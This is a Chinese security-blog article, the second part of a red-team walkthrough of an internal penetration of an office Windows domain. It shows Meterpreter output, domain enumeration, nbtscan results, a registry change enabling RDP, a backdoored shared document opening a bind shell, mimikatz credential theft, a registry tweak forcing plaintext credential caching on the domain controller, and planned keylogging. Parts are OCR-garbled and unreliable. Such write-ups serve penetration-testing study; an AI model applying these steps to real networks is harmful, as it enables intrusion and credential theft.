一步步成为你的全网管理 员(下) - SecPulse.COM | 安全脉搏

11 这是 酒仙桥六号部队 的第 114 篇文章。

这是 酒仙桥六号部队 的第 114 篇文章。

全文共计 2261 个字,预计阅读时长 7 分钟。

前言

接上一篇 《一步步成为你的全网管理员(上)》 。

跨域

现在已经获得了 IT-SUPPORT-JOHN 主机的权限,使用代理进去的 msf 获得一个 shell。

[*] 10.10.100.157:445 - Connecting to the server
S-chain -<>-127.0.0.1:9090-<><>-10.10.100.157:445-<><>-0K
[*] 10.10.100.157:445 - Authenticating to 10.10.100.157:445 DGOffice as user_john'
[*] 10.10.100.157:445 - Selecting PowerShell target
[*] 10.100.157:445 - Executing the payload
[+] 10.10.100.157:445 - Service start timed out, OK if running a command or non-service ex
[*] Started bind TCP handler against 10.10.100.157:8080
S-chain -<>-127.0.0.1:9090-<><>-10.10.100.157:8080- <timeout< td=""></timeout<>
S-chain -<>-127.0.0.1:9090-<><>-10.10.100.157:8080- <timeout< td=""></timeout<>
S-chain -<>-127.0.0.1:9090-<><>-10.10.100.157:8080-<><>-0K
[*] Sending stage (206403 bytes) to 10.10.100.157
[*] Meterpreter session 1 opened (127.0.0.1:57488 -> 127.0.0.1:9090) at 2020-11-03 01:43:
meterpreter >

查看权限发现属于 system 权限。

<u>meterpreter</u> > getuid			
Server username: NT AUTHORITY\SYSTEM			
<u>meterpreter</u> > ipconfig			
nterface 1			
========			
ame : Software Loopback Interface 1			
ardware MAC : 00:00:00:00:00:00			
TU : 4294967295			
Pv4 Address : 127.0.0.1			
Pv4 Netmask : 255.0.0.0			
Pv6 Address : ::1			
<pre>Pv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:</pre>	f		
nterface 11			
========			
ame : Intel(R) PR0/1000 MT Network C	0		
ardware MAC : 00:0c:29:37:05:28			
TU : 1500			
Pv4 Address : 172.16.13.157			
Pv4 Netmask : 255.255.0.0			

查看全部域用户。

C:Wsers>net users / 这项请求将在域 DGOff	'domain ice.local 的域控制器处	理。
\\OfficeNetwork-DC.D	GOffice.local 的用户帐	(户
Administrator krbtgt	Guest lihua	john Lucy

查看 john、lihua 在办公网的权限。发现在办公域中两人都不具备管理员权限。

C:\>net user john /domain 这项请求将在域 DGOffice.local 的域控制器处理。		
用户名 全名 注释	john john	
用芦的注释 国家∕地区代码 帐户启用 帐户到期	000(系统默认值) Yes 从不	
上次设置密码 密码到期 密码可更改 需要密码 用户可以更改密码	2020/10/29 18:30:52 2020/12/10 18:30:52 2020/10/30 18:30:52 Yes Yes	
允许的工作站 登录脚本 用户配置文件 主目录 上次登录	All 2020/11/3 9:57:37	
可允许的登录小时数	A11	
本地组成员 全局组成员 命令成功完成。	*DGPublic-IT	*Domain Users

C:Wsers>net user lihua /domain 这项请求将在域 DGOffice.local 的域控制器处理。		
用户名 全名 注释	lihua lihua	
用户的注释 国家∕地区代码 帐户启用 帐户到期	000 〈系统默认值〉 Yes 从不	
上次设置密码 密码到期 密码可更改 需要密码 用户可以更改密码	2020/11/3 11:33:59 2020/12/15 11:33:59 2020/11/4 11:33:59 Yes Yes	
允许的工作站 登录脚本 用户配置文件 主目录 上次登录	A11 从不	
可允许的登录小时数	A11	
本地组成员 全局组成员 命令成功完成。	*Domain Users	

查看办公域中的域管用户,发现 yasuo 用户属于域管理 员组。



横向移动

将流量代理进新发现的网络。



先对当前主机上的信息进行收集,根据路由表等信息发现 172.16.0.0/16 网段。同样使用

auxiliary/scanner/smb/smb_version 模块对内部网络进行扫描,当开启扫描时发现无法进行扫描。进行多次尝试发现流量并没有被代理到第二层网络。



上传扫描工具 nbtscan.exe 。



使用 nbtscan 对内网进行扫描,发现域内网中存在邮件 系统和文件系统。

<u>mëterpreter</u> > ca	t 1.txt
Doing NBT name se	can for addresses
IP address	NetBIOS Name
172.16.13.80	OFFICENETWORK-D
172.16.13.100	EMAIL
172.16.13.101	FILESERVER
172.16.13.157	IT-SUPPORT-JOHN

C:Wsers>net group "domain computers" /domain 这项请求将在域 DGOffice.local 的域控制器处理。		
组名 注释	Domain Computers 加入到域中的所有工作站和服务器	
成员		
DG165643	EMA I L\$	FILESERVER\$

经过测试,可以对 FILESERVER 主机的部分共享文件进行管理。

ti で り の	dir \\FILESERVER\OFFICEFILE\20201031\OAReport\ \FILESERVER\OFFICEFILE 中的卷没有标签。 号是 98F5-E5A2			
RŲ	ER\OFFIC	EFILE \2020	1031 \0	AReport 的目录
3	17:12	<dir></dir>		
3	17:12	<dir></dir>		
3	17:13		288	0A-2020-10-21.docx
3	17:14		1,008	OA-problem.xls

为了更方便的对内部进行查看,冒险将 IT–SUPPORT– JOHN 主机的远程桌面打开,通过直接连接桌面对内部 进行查看。

REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "



通过在远程桌面上操作,查看到目标内部 EMAIL 主机上存在 OUTLOOK。

0	Dutlook Web App
	④ 登录

使用浏览器隐私模式登录 john、lihua 的邮箱查看用户邮件,发现 lihua 有一封新邮件发送给 Tom, Lucy, yasuo 三人,让三人及时查看其放在 FILESERVER 中的 OA 系统测试结果文档。



由于我们可以对 lihua 放在 FILESERVER 系统中的测试 结果文件进行更改,所以尝试在这上面想办法。

思路如下:将对应文件下载回本地,进行后门捆绑,替换 原始文件,之后等待查看的人员中招。由于目标办公网同 样无法出网,而且我们代理进去的 msf 存在问题没法反 弹 shell 和不知道中招人员的 ip 地址也没法使用正向 shell。所以针对制作一个小工具,只具备两个功能,运 行后在 8080 端口打开一个 shell,随后挂载 IT-SUPPORT-JOHN 主机的 ipc\$。这样当目标中招后,我 们通过查看网络连接就可以找到中招主机。 方案实施后,等待目标获取测试文档查看。随后通过监控 IT–SUPPORT–JOHN 主机的网络连接情况发现上线主 机。



连接对方的 8080 端口成功获取到一个 shell, 经过筛 选, 得到 yasuo 员工主机 shell。



查看 yasuo 主机信息,其主机名为 DG165643。

C: Wsers \yasuo
以邁机名nikatz 程序DG1每5543T-SUPPORT-JOHN 主机, OS 名称: Microsoft Windows 7 旗舰版
然略 微不ら165643 <u></u> 医連 短 琴 愛 影 e 間 解 体 友 Baild 7601 OS 制造商: Microsoft Corporation OS 配置: 成员工作站
08 构件类型: Multiprocessor Free net use \IT-SUPPORT-JOHNc\$ "PASSWORD" /u:"USERNAME"

由于 yasuo 属于域管用户,所以在 DG165643 主机上其 具备管理员权限,也就不用再进行提权操作了。以 system 权限在 DG165643 上运行 mimikatz 成功获取 yasuo 用户的明文账号密码。

获取域控

使用域管理员 yasuo 的账号密码在 IT-SUPPORT-JOHN 上成功登录 DGOffice 域的域控。



修改域控注册表开启内存明文缓存。

reg add HKLMSYSTEMCurrentControlSetControlSecurityProv

更改完成后诱导 Administrator 管理员重新进行登录操作,得到 Administrator 用户的明文密码。

扩大影响

到现在,我们已经控制了目标办公域的域控。但对办公域 中的员工和主机对应情况不是很清楚,没法想去哪里去哪 里。根据目标情况,假设目标中上班时间是周一至周五, 只需要在域控主机上获取每天员工登录日志,从里面筛选 出来员工和主机的一一对应关系,就可以知道员工和其所 属主机是哪一个。

除了现有控下来两个域,根据 lihua 测试文档可以发现目标内部的测试网络(和办公域隔开),由于 lihua 是测试 人员,可以找到对应主机,在上面进行信息收集发现前往 目标测试网络的路线。在控制下来新的网络。

在对办公域中员工主机安装的办公软件进行查看时,发现 其安装有 CISCO 的 VPN 客户端。并且根据连接日志记 录发现连接过上篇中提到的 VPN 设备。根据连接时间段 和浏览器日志记录综合判断,在那一段时间内,进行 VPN 连接的员工主机可以访问互联网。由于进入目标网 络的线路是从 WWW 进入,线路并不稳定,所以可以在 员工主机上通过键盘记录等方法获取所用 VPN 账号密 码,然后查找目标外部是否存在入口 VPN,去进行尝试 连接。

到此,对目标网络的渗透基本就告一段落了。下面邀请灵 魂画手绘制目标的网络拓扑。



总结

成为目标的全网管理员需要对目标整个网络的情况都要了 解清楚,而这是需要对目标网络中的数据进行大量分析后 才可以做到的,所以在整个内网渗透过程中,对发现的数 据进行整理、分析的工作也是需要贯彻全部阶段的。



本文作者: 酒仙桥六号部队

本文为安全脉搏专栏作者发布,转载请注明: https://www.secpulse.com/archives/147650.html 本文由 简悦 SimpRead 优化,用以提升阅读体验

使用了 全新的简悦词法分析引擎 beta, 点击查看详细说明

